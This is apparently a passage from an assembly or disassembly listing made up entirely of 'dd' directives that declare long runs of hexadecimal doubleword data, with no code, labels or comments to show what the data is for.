		dd 0D6E2007Ah, 0DC94B4F4h, 0C3DA7000h, 0ABF0DFCFh, 287D601Dh
		dd 69B1A1D4h, 0D77A4500h, 0C2DD885Eh, 15F4C03Bh, 0C0C438EDh
		dd 80FA3D18h, 302B8859h, 168025F8h, 0C900235Fh,	3C03AAFCh
		dd 18833393h, 612F9021h, 0AC1F140Ah, 0CA063463h, 181831C4h
		dd 5198A69Ah, 93319B86h, 26AC1838h, 3E7C39BAh, 431E7675h
		dd 901D00D0h, 8049C197h, 0D6D940Ah, 7D818068h, 3FE6246h
		dd 34A427F8h, 193367h, 0C298E492h, 1300F915h, 0D05E0278h
		dd 2A1E80h, 0F9993FAh, 0DCD2584h, 1088211Bh, 0DE1B9838h
		dd 795E7029h, 0F831003Eh, 0E0C9F0B1h, 20606661h, 0ABD50F61h
		dd 85A4003Fh, 0FB37E82Ah, 0EA008802h, 2507E616h, 2093E6Dh
		dd 9C0A8151h, 908D9456h, 891AFC71h, 3AF13266h, 28611428h
		dd 0C7056CFDh, 0A2C8AE0h, 807879ECh, 3EDA691Fh,	0AE128BDBh
		dd 10025904h, 0A195A586h, 7EAD9AA4h, 0DFB6B048h, 0C8210639h
		dd 5DFC198Fh, 5878D807h, 69109FF8h, 3D5FA0h, 2F76BCE6h
		dd 0BB39B610h, 41346630h, 45424Bh, 7424A9ABh, 521C869Ah
		dd 6D2C41EAh, 63006BC7h, 64E3018Bh, 0D4815435h,	0F08952DDh
		dd 48030271h, 708D4131h, 0D6FD6AC0h, 5E746100h,	0BF8B3D99h
		dd 0F4B32487h, 0AA1B8230h, 9CA0880Bh, 0BFF68FEFh, 0DDF04E60h
		dd 249C1614h, 8190B14Fh, 7FE8C3Bh, 7A108CC6h, 18088064h
		dd 5034C7CCh, 0FA3328F6h, 0F587D136h, 3F9C8C40h, 0CCA8F5Ah
		dd 996EBBA6h, 29581870h, 0E4A1232h, 0FCB66000h,	4916AA52h
		dd 0D400645Dh, 360C2FA9h, 0B600B519h, 0AF288ABAh, 3C2EB343h
		dd 93BE887Dh, 21750E00h, 639E8CC5h, 0D09E892h, 221E871Ah
		dd 0A090CA00h, 2C0838CCh, 9C9E8F8h, 430CE7E6h, 0CBB35580h
		dd 4F005EC0h, 0B4515361h, 12DD1667h, 87419DFh, 878A331Ch
		dd 0A680B899h, 367E695Ch, 0D3E20E35h, 0A967DBB3h, 844C809Ch
		dd 0F005B1Bh, 992B3828h, 0E48C0725h, 354828B4h,	0F6900A98h
		dd 0BBB8BF57h, 8163DA80h, 30516C6Ah, 21582C13h,	7BB40442h
		dd 0E2546434h, 0D0131EAAh, 0C278A465h, 82212F91h, 0EFBA9Ch
		dd 51F61320h, 92E0B677h, 52889160h, 0C09688DDh,	0A9BC0FC9h
		dd 733F6572h, 488B804Ch, 0AD900A30h, 0B41E6138h, 96C1A3BBh
		dd 11050h, 156D63BEh, 0C397181h, 82774FD4h, 4ED00AB0h
		dd 0C9CCA03Ch, 3F5DACE2h, 26B088B6h, 93C0B550h,	7E7B0D1Dh
		dd 19035517h, 0C8BEEED1h, 7F3C75F1h, 1EAEE4Ah, 84D4B647h
		dd 30A654BDh, 8A00D005h, 8B1702E6h, 0E227AEDFh,	0B7694CE0h
		dd 10F1D918h, 617D407Ch, 7671B001h, 92C6391Dh, 0C50360h
		dd 0F4689E54h, 75E401F3h, 0F515EE00h, 4E98CFBFh, 1AD00108h
		dd 9A93CD7Ah, 0CE2C056h, 0C2C0384Ch, 3363A87h, 1BF2261Fh
		dd 15F00C48h, 503BAC3Fh, 0D41402D4h, 688338Bh, 2E032624h
		dd 0F872429h, 0D3D4808Ch, 36AAD06Ah, 0E8004E7Dh, 2C7CA57Fh
		dd 32A4021Ah, 0AC4023F0h, 0F30028C4h, 0C64B688Ch, 7102B7h
		dd 0F6954777h, 0B9C3DF55h, 5661501h, 1660E2A4h,	0D1D33440h
		dd 795338C2h, 2666E880h, 0AD848ACAh, 0A381AF16h, 9A684618h
		dd 397E40B2h, 989C280Ch, 2676180Fh, 40CC673Fh, 1A32C694h
		dd 351C2300h, 3A86C480h, 0F7FB09A1h, 288A0E98h,	282402Ch
		dd 0D400393Bh, 0EF871914h, 707515Ch, 93AA6676h,	75413F4Eh
		dd 401E0BAEh, 15D8E39Ch, 0CFDFC500h, 9C0833A8h,	880A627Ch
		dd 5064AE0Eh, 911C6830h, 39ED25Ch, 65B8F9F8h, 0D3B3B745h
		dd 7958822h, 6ABA9FC3h,	17B50B4h, 1B02F623h, 0B3AAF0BFh
		dd 9DA4487Eh, 2454B055h
		dd 40A4881Ah, 6ABEBC2Ah, 20B2B491h, 0C482128Fh,	0A7047364h
		dd 16F09900h, 398094C8h, 0F1FC005Ch, 77C64602h,	76005DF7h
		dd 6D5529A6h, 206AA0Ch,	59CF30E7h, 2C81921Ah, 8F110328h
		dd 0DD6EFE1h, 13E05105h, 44B498F5h, 9012A722h, 0EC007F7Eh
		dd 0FF17C883h, 28DA90F2h, 49C1BA8h, 0A58DE1D9h,	5ACD098h
		dd 200DD0E2h, 7180E58Eh, 0F0101EC9h, 65B852F7h,	0B9B2990Bh
		dd 0A474220Fh, 968C2007h, 0C4A0C38Bh, 0D80ADF75h, 4842FF28h
		dd 24BF3804h, 859F480h,	8E0A4B4h, 0C4A39E6Ch, 4C83E01Eh
		dd 0FE3C0829h, 0D81E0C38h, 0B4C88AB2h, 9AAFC406h, 9F986ABh
		dd 8B38C8DDh, 121420A7h, 0BC800464h, 216E51EFh,	50090D28h
		dd 65FF9E5Ch, 6C05B568h, 80405E87h, 0BC791712h,	0DD500F7h
		dd 0BE4C9F98h, 833E8C42h, 44A380DBh, 0AC52F0E6h, 5DF83303h
		dd 2BBA7768h, 4886D0A0h, 3202F404h, 1BC42678h, 0A6A0C0F6h
		dd 0A810E705h, 2E625738h, 800228B0h, 5E519044h,	30A4EEDEh
		dd 1E189CAh, 2500490Ch,	12765BECh, 9305A9Eh, 7A5803F1h
		dd 0A29BCA0h, 0B49D6BCh, 0C2901758h, 0DE526042h, 50524319h
		dd 882318A1h, 0F9D28F21h, 0C3022016h, 0C903A68Ch, 78604DE4h
		dd 899160CAh, 1FC101A2h, 0DB79800h, 0A30E6C6Dh,	8D2900E3h
		dd 688F6182h, 306F28AFh, 1A510038h, 0D5575B74h,	6835C08h
		dd 0A8E05D21h, 0B6FC0DBDh, 3DF03819h, 9CC83AB0h, 0C7848AAh
		dd 41B32850h, 0F524301Dh, 0C027AC88h, 80B412B9h, 93008E68h
		dd 5BD1869Bh, 2858CF9h,	7E889C48h, 0F4C305FBh, 0DD5F40F4h
		dd 0F2ED3Eh, 30CEA73Ch,	2DC5261Eh, 0E209EF02h, 0E858A37Fh
		dd 0A4C81F84h, 7BF40180h, 1D87989h, 0B24FC047h,	232ACE0Eh
		dd 5E72203Eh, 0E128921Ch, 0E6C07472h, 9F1B418Fh, 9C73F415h
		dd 93E1178h, 0C5879E82h, 40FB503h, 76E0A749h, 0AC80808Dh
		dd 28B0EFD7h, 1C42320h,	581B6F50h, 56D387DEh, 908B1EE8h
		dd 0B694B0F7h, 2A1F646Eh, 0D10037D4h, 74CB9B66h, 0C8130024h
		dd 2E516755h, 166647CCh, 12922788h, 8833F2FEh, 4707A880h
		dd 0AC9F2FB8h, 2A10A219h, 814CE2B4h, 0CB434E3Ch, 26CDB448h
		dd 736EE2h, 0A4CA4404h,	61034784h, 0AD9A2876h, 8829548Bh
		dd 0E083604Fh, 18853501h, 2304E0EAh, 0B6F4167Bh, 37EB4C81h
		dd 8BDDD007h, 0C86053FEh, 99E7CA10h, 518D63ABh,	0B1001D68h
		dd 475DFF44h, 0F99B1Fh,	517ECC03h, 391602DFh, 299A8D30h
		dd 0F83B2410h, 29C30F53h, 0B4ABB7D0h, 0A3807810h, 0F18C57E5h
		dd 74BC13A8h, 0F4026EA0h, 0FEF0D61Ah, 3BF83EBh,	0B28022Ch
		dd 7EA38DE3h, 306C34C9h, 4280368Ch, 35C70A19h, 9846D89h
		dd 74800A3Bh, 5328E077h, 4ED98C18h, 24400F90h, 80E41687h
		dd 0F674107Fh, 48D21F6Fh, 0C287B821h, 40A40704h, 3D30DCA7h
		dd 1C0DF69h, 81A3D4B4h,	5BAE6E00h, 2081C545h, 0F2A40B41h
		dd 0B39A0179h, 207CF463h, 8C0D2ACCh, 38AB67AEh,	40ACDC20h
		dd 76F89014h, 73814A60h, 0C27FB89Ah, 12895541h,	8130B0A0h
		dd 0C07E1A5Dh, 9B9C6500h, 88A7DE57h, 0B0296566h, 7D8C88CCh
		dd 9D1104A7h, 34889B06h, 0AA173840h, 0C04FE403h, 297549A5h
		dd 6E4CA2ACh, 0AF470032h, 5380BA37h, 590D6089h,	0F51C46BCh
		dd 44AC580Fh, 6C1392C5h, 7881D840h, 0B257FF0Ah,	940C5318h
		dd 7E23C7Ch, 1071C21Ah,	0B5093018h, 8721B709h, 0CBB38084h
		dd 93EAC46h, 905B380Ah,	0B4047409h, 119CA042h, 66C8D963h
		dd 961000C9h, 5DCA510Dh, 54E01FF9h, 52E66D05h, 3C835741h
		dd 23291862h, 0D244E1FDh, 8C607A00h, 997212Dh, 28135138h
		dd 0A178B402h, 0D7D8AC8Ch, 320AAC48h, 2E1C39Fh,	8233DC2h
		dd 2942A368h, 4189FACh,	15614E41h, 84C9CC08h, 3B4F606h
		dd 2403794Ah, 0CC01F22Ah, 40214CCDh, 3B100411h,	0ABB28AE5h
		dd 16031850h, 9513DB4h,	5A5FA80h, 1C43D40Bh, 7B007073h
		dd 0B013B5C0h, 151C484h, 2BFBEBF8h, 98547633h, 0E04135D0h
		dd 16AB24DDh, 1502BD20h, 0FE45E25Ch, 0CB9FA880h, 4D0A35B8h
		dd 98BE117Fh, 0A5105211h, 683582F0h, 0AC6720CEh, 0AC917F86h
		dd 0D6D9501h, 0C8D38D02h, 188D579h, 91627EABh, 0FAE63E30h
		dd 0D40394A4h, 8B08C808h, 2F431F0Bh, 7ED882D3h,	1025060Ah
		dd 71240430h, 56F57B6h,	0B399EE8Fh, 2A9C42E2h, 28B402D1h
		dd 1ED05654h, 5D0628A7h, 22587AF1h, 70183ADh, 0CF23C733h
		dd 0A0CB4934h, 0A82E8820h, 58EABA0h, 91E29362h,	24403CD0h
		dd 4A20BD3Fh, 28605840h, 2308B19h, 7012A9D6h, 872725B2h
		dd 41986039h, 2B31DD33h, 0FF28583Ch, 0BCA46A54h, 44FD4E26h
		dd 0BD08584Ah, 343C1431h, 0E085E7A8h, 293E1679h, 8DFE1401h
		dd 381188D6h, 60F2D100h, 2F8B2701h, 0FAB1B643h,	0BC4A4847h
		dd 0C1B4CD9h, 619F9E8Dh, 0FC312EC0h, 0BEFA88E8h, 39314B9Eh
		dd 0C462B29Ah, 0A9734019h, 883D0881h, 0FD0C398Eh, 71349219h
		dd 25BF00B4h, 0BC75AA17h, 0A40444B9h, 769CABF1h, 40AC18C2h
		dd 3EABE70h, 280487C0h,	81023201h, 233D4A5h, 4520B189h
		dd 59CABC48h, 292478EEh, 808989Ch, 0DE3EE015h, 56B70910h
		dd 9E10220Ch, 4125002Ah, 7E0367F9h, 0B6E430CAh,	205DF0E6h
		dd 897600BAh, 5F3BE504h, 221EC6B7h, 741DC9F2h, 0CA1D80FEh
		dd 0F9E903D8h, 8C810064h, 0DB6CDC3Ch, 5503C674h, 0F44764Ah
		dd 0C7B0A898h, 0DE2000D0h, 0DD78E662h, 0CEF21D88h, 40E40E30h
		dd 218A23h, 74EEBEE1h, 5AC05928h, 0A200D472h, 8A335F37h
		dd 62E235h, 84B7B3D5h, 5ACEC35Bh, 0EBF9EE00h, 0E11ACF2Ch
		dd 0B972F078h, 41015F0h, 0F850F9AAh, 12CE7C50h,	7BEF32Ch
		dd 50D2ADD8h, 0DD02D362h, 8264F800h, 0BCD0E339h, 0F6B27AE6h
		dd 3FC5011Eh, 79279F96h, 40BE81h, 23BBA9B6h, 9615458h
		dd 29A193D4h, 2036E100h, 0D7F289DAh, 18DBCD00h,	9C0B3AD9h
		dd 817803F9h, 0B7DE22D0h, 58B14000h, 0ED67CB5h,	683307A2h
		dd 3035CD86h, 0A1B2E834h, 0D5299800h, 27DF663Ah, 43B72678h
		dd 0A96D0048h, 541B37A4h, 38487C26h, 942E8012h,	2D5A00BAh
		dd 0BCE81ECDh, 0C67100DBh, 0D6614758h, 3000A199h, 258A285Ch
		dd 1EEFBCE2h, 40DB9B74h, 0EE59CDCAh, 81005E26h,	33E429D3h
		dd 1E5DB2F0h, 8078BE55h, 0EA1FF3CDh, 2800C922h,	48C269Dh
		dd 0C1A19A3h, 0A0CDCCCBh, 24EA7B40h, 5DE4E341h,	614B021Eh
		dd 3BD5CE3Ch, 0DC3AE441h, 0EF00799Fh, 1891DDB0h, 1F0F3DCBh
		dd 0C01C2DEEh, 33E130CFh, 22019EDBh, 3C6B4953h,	8C6631D0h
		dd 2A40F0ABh, 8C7E0050h, 0DB6DDC1Eh, 0C403AD9Fh, 0D08866B8h
		dd 8A64E9A2h, 0F06DEE00h, 0DDB7B100h, 0ED99C20h, 59F900F5h
		dd 9F29C77Eh, 0B207EAC5h, 5E48C824h, 3CDD6220h,	0CE82181Dh
		dd 0A7AB211Fh, 0B0C31900h, 28A165D8h, 0CE8A011Ch, 0D572E221h
		dd 0B958D4AFh, 3897400h, 2D6386A2h, 9F2E1639h, 0B6DC00BFh
		dd 0D35B1C92h, 0F3E40A00h, 2CD4C31Bh, 0E93300E0h, 7B5929BBh
		dd 0F3ED677h, 241D019Fh, 33E835CFh, 4B4AC60h, 0CCC61EE1h
		dd 1B08CDC3h, 22A0FF04h, 94004B67h, 5D496F30h, 7EF1617Eh
		dd 2D3114F9h, 1AA3411h,	0BF2C9944h, 52F86E20h, 7E9300F3h
		dd 68B13C11h, 1CAC7F4Dh, 24238718h, 0AC0510h, 0FC499CD1h
		dd 7A7BD53Ch, 1CB42812h, 128EACB0h, 0A02137F6h,	0C7E9364h
		dd 0C1AABB27h, 24E81038h, 166E094Dh, 9072B8F3h,	84E09B00h
		dd 380722A6h, 20EC14D1h
		dd 0A0DF1CB2h, 0A64328B6h, 2EF0E99Bh, 79E11CCh,	4603575Ch
		dd 277250A2h, 0ED01D1AAh, 0B407F315h, 50413258h, 21101DEFh
		dd 0F1CE378Dh, 0B15F854Bh, 1998B4h, 0A81BDE58h,	0B20DC54Ch
		dd 7A240995h, 507200CCh, 0BDAB0ADEh, 2D02AD55h,	5F0C3328h
		dd 81545667h, 0F1B3988Ah, 25F6F0D8h, 2829D6F6h,	0ED1EE406h
		dd 6E52E8B0h, 0B49A8034h, 88CB354h, 206588ECh, 0CC0A29B8h
		dd 52405075h, 46A825DEh, 1E22DCh, 0ADDE4A74h, 1BD40814h
		dd 164882FBh, 5EBE33ACh, 28513CE4h, 6277B4F0h, 884D181Ch
		dd 0E5802476h, 38937C92h, 66EA006Eh, 3693E70h, 8146B30h
		dd 7E9C6D25h, 0DE57048Ch, 6254A81Ah, 4F732016h,	0D10053DEh
		dd 94D2D751h, 4E9B2BDh,	142C27A8h, 8840AC17h, 4E7125Bh
		dd 9081CB8Ch, 4DEA1D48h, 8D065907h, 64062D6Dh, 34209508h
		dd 0E24E723Eh, 478F6B00h, 1B750E9h, 0C48401ABh,	894F332Bh
		dd 69E1800Eh, 8BEDC05Bh, 2523075Dh, 4F216D84h, 0C3488072h
		dd 0F400C063h, 19D54FEFh, 3EDEB2D4h, 0E2B99B8Fh, 4CA588BDh
		dd 0A2D1C043h, 0A0E4406Bh, 8C036359h, 52E03EBFh, 0B84FC079h
		dd 0A313028Fh, 0C95410E2h, 4E7868A0h, 5D46065Bh, 40009922h
		dd 3D884E60h, 23578D9h,	0EF360DF3h, 24481A68h, 0F8071599h
		dd 0D2769AC3h, 0FCD60210h, 14B490DDh, 0A4250F9Ch, 0D80A5204h
		dd 3AB8E8AEh, 8DF58028h, 40A78CEDh, 60909593h, 9680556Dh
		dd 65692509h, 21B03448h, 0A858F212h, 0D38FA4B0h, 5068F409h
		dd 37F45903h, 0D261A1B6h, 55C5612h, 8352B14h, 0EBC017E4h
		dd 4606584Dh, 932295h, 534E7343h, 6E460428h, 70F40300h
		dd 0A08CEB1h, 32A3EE9Fh, 18583331h, 124DEC30h, 38FD0657h
		dd 74004410h, 0F001354Eh, 1556F799h, 0E42887E9h, 0BC20945Ah
		dd 5AE180D4h, 8A7259h, 2325E9ACh, 140CC029h, 7D668420h
		dd 392A6060h, 865E68E5h, 0B3E40D00h, 550741DFh,	9BFC046Dh
		dd 81306A56h, 76648C8h,	1413AA10h, 648C070h, 19BAB027h
		dd 0BBB55006h, 9185FAEh, 46AD9A0Fh, 0CBAA1CA1h,	21E0D38Dh
		dd 79C77488h, 0DBE90B28h, 7BCF807Ch, 82DD7377h,	0EF9501Ch
		dd 84915B44h, 7C20E787h, 95D93E1Dh, 1190882Ah, 0C0568054h
		dd 8C458BEAh, 1C85744h,	63E4C05Eh, 310C0728h, 0CC1F9B0h
		dd 44A8A416h, 502D5B8Fh, 2448CD61h, 482098h, 3DD2237h
		dd 0A409E216h, 91E435E1h, 59814DA8h, 0A28C77C0h, 664454A0h
		dd 0C06100C9h, 0E9C7FA08h, 0F830797Fh, 1D65858h, 4F0200D1h
		dd 8EF3EDFEh, 4154A407h, 0A6309AD0h, 614AB984h,	0C55A041Bh
		dd 0CB4C0A0Fh, 0C01CC8C8h, 9E0558D0h, 6DFA0700h, 0EFA66C06h
		dd 0A2C38022h, 7808BC33h, 0BA65A71Eh, 5E880C92h, 69A1806Ch
		dd 0D78B0BB0h, 3B03501Dh, 80B60CC8h, 9D91602h, 0AC265311h
		dd 84226CD0h, 584CDBF8h, 6C121DABh, 0B33872C1h,	0F42270F6h
		dd 0C0676310h, 0A852F21Bh, 220F431Dh, 535E03ADh, 2BAE57F4h
		dd 28E1DBB8h, 2C2708E2h, 4484088h, 0B063209Eh, 45A40C05h
		dd 0DC487EC5h, 0C05AC050h, 65468C06h, 0C4076122h, 0BA3DC062h
		dd 0ACB85281h, 2BA0402Bh, 0D116281Bh, 0AB37DFF0h, 65501930h
		dd 67117D2h, 0AE8C14AFh, 22489B7h, 0E708506Bh, 0E8012BCh
		dd 2297FCA0h, 0DB307200h, 0A81E08DEh, 2164C4F4h, 0DE536F40h
		dd 7E008C49h, 0B6293DCEh, 17302471h, 79622BCh, 715DE65Ch
		dd 3A480165h, 0F1442420h, 2AAA7E26h, 0B841188h,	0F9E14E66h
		dd 9D03F500h, 0D35BA68Ch, 0F0571480h, 40923A30h, 0FDDABFh
		dd 16150D9Eh, 22CB819h,	184E9CE4h, 0C7FF6081h, 5EBC94C6h
		dd 767C888Ch, 0B415DF09h, 4834F09Bh, 5BECFCE7h,	0D2B4008Ch
		dd 36E98653h, 0F327020Bh, 13E0C8ABh, 0EF433E91h, 0E99E8D00h
		dd 202A2EC3h, 10B7FA01h, 70B628D9h, 27EBC841h, 818ACF0Ch
		dd 758386C8h, 4C41B6CDh, 9DC8D489h, 84365A88h, 79DC0880h
		dd 29DED6C0h, 22FC46A8h, 4E70001Dh, 7F149FDEh, 27090F15h
		dd 821A48BAh, 20C10C4h,	34502587h, 50F7370Bh, 0B87A88h
		dd 0D4B4B6BAh, 0F5E72C3Ch, 0CCC77600h, 842AF916h, 0E69F1725h
		dd 238C3E07h, 0E1CA001Dh, 0DB255E3Ch, 0A208B11Ch, 8238C1CBh
		dd 2BBEFD0h, 80C234E7h,	1AB26C90h, 94385200h, 0DCFD2778h
		dd 79892681h, 968808C0h, 60915824h, 20DE5580h, 448C44A8h
		dd 4D00791Fh, 7B1248DEh, 0B33208E9h, 40AB78B4h,	0BC2AF02Eh
		dd 2618EF5Eh, 0C89E0E27h, 27CBFA84h, 386828B7h,	841EA01h
		dd 37A25463h, 1A30430h,	0FD16C0EBh, 246F9670h, 948E790h
		dd 0B1471198h, 193CB209h, 0CE12A0FAh, 852AB16h,	5D23683Ah
		dd 0DF898700h, 0C4E8FC8h, 0B8A2C590h, 395604D9h, 0D4C1F22Ch
		dd 0EB594010h, 8607504Bh, 61A8F8E1h, 8AA78800h,	0A18E909Fh
		dd 0EDE5B606h, 80237C75h, 74301CA2h, 5DDD00B7h,	5C7E257Ah
		dd 0E02DA1F8h, 0E8E44472h, 0B06F0091h, 0C87964BDh, 0A171B593h
		dd 6E28E09h, 0DF8010B1h, 19CA013Bh, 0DDFCE795h,	0F268F04Ah
		dd 39C190C1h, 88E017BFh, 106FC62h, 91B56324h, 94CB19h
		dd 79771F39h, 26C2469h,	0D601004Ch, 54CBBBD2h, 6F86FD00h
		dd 8083F645h, 22C828A3h, 53260BB8h, 289D23E9h, 0A2805711h
		dd 2767D692h, 0D0002C92h, 1930BF1Bh, 9026073h, 8336D8B6h
		dd 5F88AC45h, 0F21F6067h, 18EDA8D6h, 17628833h,	7442F200h
		dd 0DF11103Bh, 4FE261h,	8511E6Fh, 30261AEEh, 80288958h
		dd 92520F74h, 0CF3A1DACh, 0DC682725h, 120030FAh, 0EDC83578h
		dd 98065B1Ah, 0DDA0C458h, 82600954h, 5030C524h,	0E907FE0h
		dd 29470F36h, 67B01383h, 84022803h, 16995AD3h, 0F0A71B22h
		dd 0FE038FE8h, 4935F07Eh, 94B3BCBEh, 0EE766901h, 2C72AE8Bh
		dd 1D6205F0h, 813AF52h,	963948A0h, 1C215E94h, 9A758011h
		dd 4F1D22D1h, 0C45AA401h, 16D89CD5h, 2824056Fh,	81CCB80Ch
		dd 6DDF3BBAh, 4067B860h, 0E32F5225h, 665C6987h,	2C0E6DCh
		dd 6EC3E803h, 84DC2ABDh, 0BC23F18Ah, 0DC5D0832h, 3C642F88h
		dd 0AA0F3F00h, 3DA62FD7h, 0C1DB00E4h, 51201B76h, 5214BE88h
		dd 5B08479h, 0EFF01E9Eh, 0DC8098FCh, 17DE44AEh,	8AB68F00h
		dd 53E876F9h, 0E287D98h, 0B33625F7h, 0C7874ABh,	977AE012h
		dd 0D9B23400h, 50DD3F01h, 3EF5BCFDh, 4B2522F1h,	0C63C5817h
		dd 0FD263309h, 0E92168E9h, 23B871D9h, 3160A2E8h, 4F3ED8F2h
		dd 0B861F502h, 0E0F8A2BFh, 0C162465Eh, 76E0C7C8h, 466B25h
		dd 27185B70h, 0FCA51621h, 8190BCEFh, 7BF68C63h,	652DA028h
		dd 2C0780E8h, 6106C504h, 0A4E4AD9Ah, 0CB58EE86h, 0E491AC91h
		dd 1BCA6055h, 802B6939h, 7A018E6Eh, 2D19604Eh, 2066A92Ch
		dd 0AB0453F4h, 0C9742073h, 1D07F4F9h, 907C95DBh, 0A4A0B1CCh
		dd 81B1A24h, 75404026h,	0E2152046h, 55B7C82h, 900817E7h
		dd 60D8D9C6h, 0D4F40E4h, 94BC8042h, 0C9592207h,	114E7918h
		dd 8865065Ah, 613D808Eh, 51A9244Eh, 0BAAA705h, 48AD73B8h
		dd 4D2AC13h, 182042FCh,	489A6420h, 0D3072433h, 1B9CDE3Ah
		dd 1B11081Dh, 8264D380h, 0E4168393h, 14E4879Bh,	29741438h
		dd 0A81FA7CAh, 0B95C809Dh, 0F96F48CFh, 0E740A716h, 23F88E0h
		dd 0B49A23BFh, 93551F31h, 0A8FCEDC8h, 14FF5900h, 0F0DC5F6Fh
		dd 0BA82305h, 0DCD26AC8h, 46F0A093h, 11BCD74h, 0FEB95125h
		dd 31B3AC8Dh, 23C022FAh, 0F22A0160h, 1885A8DDh,	22698838h
		dd 167CF27Fh, 0F0CF0E0h
		dd 0B030E2E0h, 0BD7198B2h, 0EC1D8089h, 580C611h, 73B7E3BFh
		dd 0B34C2100h, 2FFB51D1h, 0C8D202FCh, 6FA2BBB4h, 0AD7D10DAh
		dd 9B71140h, 2BD0A65Eh,	88B21701h, 0E9C8ECE2h, 1CA70492h
		dd 0A5609844h, 2F0176C0h, 0BFA4BB06h, 57D28631h, 0AC543420h
		dd 5C606E9Bh, 0DE15ED90h, 404B0E0h, 2B4CC4D4h, 3864831Fh
		dd 0FF9A01FCh, 0FAC810D8h, 9894B41Dh, 0ABEFD1E2h, 202C49h
		dd 44DCA51Fh, 22B6C39h,	0E466C07Bh, 0A00FBABh, 5F8B950h
		dd 0F7EF061h, 9FFCCF09h, 99813DA3h, 0CC01B4DAh,	5F4384Ch
		dd 27042808h, 0E4622C4Ah, 41F21CC2h, 0E44E55E8h, 0F4544F00h
		dd 86E9A4C8h, 0D5D26305h, 0AC4085CAh, 0D65852A8h, 128FF472h
		dd 424C13AAh, 43389D44h, 84FC448h, 4E3BF317h, 20A24884h
		dd 67301FF2h, 9DB83843h, 8936B109h, 0E997A405h,	0D92AC0A0h
		dd 130EB11h, 6259132Fh,	2529CAA8h, 0AEE0302Ch, 91254900h
		dd 20BF2E7Fh, 9951658Dh, 0B3B8C8D1h, 74E26E00h,	4EEC288h
		dd 96820040h, 0DF5331AFh, 0FD7EC764h, 87022704h, 0C817126h
		dd 0CC020834h, 42D7B884h, 0F4AB9A5Fh, 0B4028250h, 260032D0h
		dd 93112DC8h, 5E51D868h, 0BE01D17Ah, 0AAA0B713h, 9C646AB3h
		dd 3ED81025h, 9C612487h, 70CC1E12h, 5D4E3906h, 0CA6CED96h
		dd 6E3A0050h, 75D954Eh,	0F7F6168Eh, 9A7C88AFh, 0BC94E4A6h
		dd 1C4656h, 7CF83587h, 0E49B3ED2h, 0A8400189h, 0CFF799EFh
		dd 3B5073E9h, 902EDE65h, 94009823h, 409FBC2Bh, 21A84C41h
		dd 3DE0815Fh, 1DA46268h, 76DD3F14h, 9AC83BC3h, 0F391A75Fh
		dd 8C626AD5h, 0B6082470h, 8B110Ch, 451AA0BFh, 0EE5B562h
		dd 464DF711h, 16034380h, 0D09152D9h, 8A3B0201h,	207F7922h
		dd 8D1812B4h, 6DED200Fh, 2A92C0AFh, 61EB380Ah, 0BC82A028h
		dd 0E08BD252h, 13AC7030h, 7460202Ch, 0E4E8C54Bh, 3014601Ah
		dd 0BF9F000Bh, 0D8A7DFB5h, 78D71FF2h, 140734E2h, 630EECD7h
		dd 64908DE2h, 5C003E6Ah, 4D247B2Fh, 0C6E67Fh, 26F14C57h
		dd 9B6B62B0h, 0A6B3380Bh, 6FB84764h, 0BF9380D1h, 748DC4A9h
		dd 8AC930D1h, 0F01E8C91h, 8155383Bh, 1AA8D966h,	0A9E4566Ah
		dd 0AAD502D6h, 0EF9C165Eh, 520710FCh, 0D0F2D4B7h, 58445BFDh
		dd 8B0CFF5Fh, 50AC9796h, 0D19899E0h, 6E1837h, 1A5B7F1Fh
		dd 93FE90FAh, 0BE02C094h, 713428A2h, 47C0B188h,	0FE6502C0h
		dd 0D700BEC4h, 0EA442541h, 784C5243h, 90832224h, 0E8D60364h
		dd 0FA290742h, 1C18F9B0h, 0EC73E50Fh, 48015295h, 6D54FFDEh
		dd 52BA7D0h, 0C69C0C76h, 0AD44766h, 61C98F0Bh, 0AED82C22h
		dd 0E424D8FEh, 0EF290C18h, 10A90441h, 0AC619FB6h, 0F5D38000h
		dd 7F2A1678h, 41BF0015h, 0EFDF590Ch, 0E00B70F8h, 974D1906h
		dd 801691B4h, 6A3B80FBh, 4ECB074Bh, 0E1936BC1h,	2A0EB8B4h
		dd 2E73F444h, 0A8A80412h, 0F8960021h, 4F53A48Dh, 4A344831h
		dd 0ECC05CC0h, 2355218Bh, 1CEC4BDh, 2DA1C064h, 30F4FE91h
		dd 0AA650CD1h, 3CF488F1h, 0C3E31F2Ch, 44B6DDC1h, 0C08DB0CFh
		dd 853821B1h, 38CB3538h, 0AFFE8B9Eh, 5D6280A5h,	0BFBCB27Ch
		dd 0CB84C880h, 1D24B85Bh, 0FC08082Ah, 0F089C017h, 403E9DDEh
		dd 0EB252F7Bh, 6C48B50Ch, 0C058C04Eh, 0B55B8BF0h, 12D2682Ch
		dd 1EFAC060h, 0CD114006h, 9BB5DED5h, 0D7B240CFh, 0F79A6C80h
		dd 40A40BCAh, 48F92783h, 46496F18h, 0B9F30145h,	2C133633h
		dd 0E8F83966h, 0AEC4A0F7h, 5C215A0Bh, 0C92AD080h, 0B0CC6606h
		dd 19272868h, 76042E10h, 60646468h, 2659F226h, 703825A8h
		dd 0F2051E65h, 9DA70AB2h, 348C8005h, 61B2BCF3h,	1B25930h
		dd 0BF460E2h, 41C173FEh, 0C068768h, 845E8461h, 0FE4FF440h
		dd 1DC52085h, 7178A3FFh, 0A5790E30h, 0E4E84520h, 0F8D27366h
		dd 4961724h, 0E0C83780h, 5800AA56h, 889E72ABh, 102162A2h
		dd 40E03D34h, 0F227BBAAh, 7448000Dh, 360B94Fh, 70BA67Ah
		dd 0E6E03220h, 3A16A057h, 98CE8C63h, 30111C84h,	0FA7707h
		dd 7F1E9F8Fh, 90FC86C4h, 31C94B09h, 530802DFh, 5008001Ah
		dd 8D25410Dh, 0AC50F9BFh, 0F8C08B4h, 0DA69003h,	0CCF094ECh
		dd 683639B6h, 84F0480h,	0E2F3BDF9h, 0BC707CBBh,	88D20183h
		dd 0C4B66FD8h, 878882Dh, 8882C18h, 7565B11Fh, 142CE843h
		dd 0A401BD50h, 2B5690A7h, 1338B440h, 3B644BC4h,	0AC23D0h
		dd 5E6B3270h, 0A5013A42h, 0D84DE0FFh, 952F1B92h, 0A21B1268h
		dd 104170A8h, 234C2F2Bh, 680F0691h, 72008120h, 7127DF8Eh
		dd 1E7EBD06h, 1C79FEFh,	686B2D49h, 929BD5Ch, 5C8FCA90h
		dd 0D9B304F8h, 0E91C811Eh, 0B8583A06h, 85250418h, 149EE814h
		dd 48B01180h, 8C61E8DCh, 0CD161A72h, 0A80F33F7h, 0AC91974Bh
		dd 920C17FBh, 483C0441h, 0F6467280h, 7403177Ch,	0CC8AC8EBh
